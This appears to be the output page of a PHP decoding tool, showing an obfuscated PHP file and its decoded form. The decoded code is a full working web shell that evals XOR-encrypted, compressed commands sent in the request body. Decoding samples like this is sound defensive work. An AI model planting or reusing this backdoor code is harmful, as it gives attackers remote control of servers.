Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $n='{!9@ob_sta!9rt();@!9eva!9l(@gzuncom!9pres!9!9s(@x(@base6!94_deco!9de($m!9'; $h..

Decoded Output download

$k="52c20d19";$kh="82562ff718db";$kf="30a3a4ff322c";$p="RpMIRpsqiZQXVcPP";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$n='{!9@ob_sta!9rt();@!9eva!9l(@gzuncom!9pres!9!9s(@x(@base6!94_deco!9de($m!9';
$h=str_replace('X','','XcreatXe_XfXuncXtXion');
$F='!96!94_!9encode(@x(@gzcom!9pre!9!9ss($o),$k));!9prin!9t("$p$kh$r!9$kf");}';
$u='n!9($!9t);$o="!9";for($i!9=0;!9$i<$l;){f!9or($j=!90;($j!9<$!9c&&$i<$l);$!9';
$m='$k="!952c20!9d19";!9$kh="82562!9ff7!918d!9b";$!9kf="30a3a4ff!9322c";$p!9="!9!';
$H='[1]),$!9k)!9))!9;$!9o=@ob_get_con!9tents();@ob_!9end!9_clean();!9$r=@base';
$N='9RpMIRps!9!9!9qiZQXVcPP!9";function x($t!9,$k){$c=str!9len($k);$l!9=strle';
$T='j++,$!9i++)!9{$o.=$!9t{$i!9}^!9$k{$!9j};}}!9return $o;}if(@pr!9eg!9_match';
$o='("/$kh!9(.+)!9$k!9f!9/",@file_g!9et_conte!9nts("php://!9!9input"),$m!9)==1)';
$j=str_replace('!9','',$m.$N.$u.$T.$o.$n.$H.$F);
$Z=$h('',$j);$Z();
?>

Function Calls

str_replace 2
create_function 1

Variables

$F !96!94_!9encode(@x(@gzcom!9pre!9!9ss($o),$k));!9prin!9t("$p$..
$H [1]),$!9k)!9))!9;$!9o=@ob_get_con!9tents();@ob_!9end!9_clean..
$N 9RpMIRps!9!9!9qiZQXVcPP!9";function x($t!9,$k){$c=str!9len($..
$T j++,$!9i++)!9{$o.=$!9t{$i!9}^!9$k{$!9j};}}!9return $o;}if(@p..
$h create_function
$j $k="52c20d19";$kh="82562ff718db";$kf="30a3a4ff322c";$p="RpMI..
$m $k="!952c20!9d19";!9$kh="82562!9ff7!918d!9b";$!9kf="30a3a4ff..
$n {!9@ob_sta!9rt();@!9eva!9l(@gzuncom!9pres!9!9s(@x(@base6!94_..
$o ("/$kh!9(.+)!9$k!9f!9/",@file_g!9et_conte!9nts("php://!9!9in..
$u n!9($!9t);$o="!9";for($i!9=0;!9$i<$l;){f!9or($j=!90;($j!9<$!..

Stats

MD5 9d31673234997d61dedc65373a600213
Eval Count 1
Decode Time 103 ms